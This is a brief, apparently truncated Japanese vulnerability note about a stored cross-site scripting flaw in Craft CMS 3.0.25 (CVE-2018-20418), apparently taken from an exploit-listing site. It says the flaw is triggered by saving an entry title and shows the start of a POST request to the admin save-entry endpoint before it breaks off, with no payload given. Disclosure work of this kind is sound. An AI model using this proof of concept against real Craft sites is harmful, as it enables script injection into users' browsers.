Craft-CMS-3.0.25---Cross-Site-Scripting

Craft-CMS-3.0.25 - クロスサイトスクリプティング Craft CMS 3.0.25 - クロスサイトスクリプティングの脆弱性 CVE-CVE-2018-20418 https://vulners.com/cve/CVE-2018-20418 概念実証 コンソールタブから新しいタイトルを保存することで、クロスサイトスクリプティング（XSS）を実行できます。 root@kitploit: POST /admin-panel-path/index.php?p=admin/actions/entries/save-entry HTTP/1.1 Host: IP:PORT...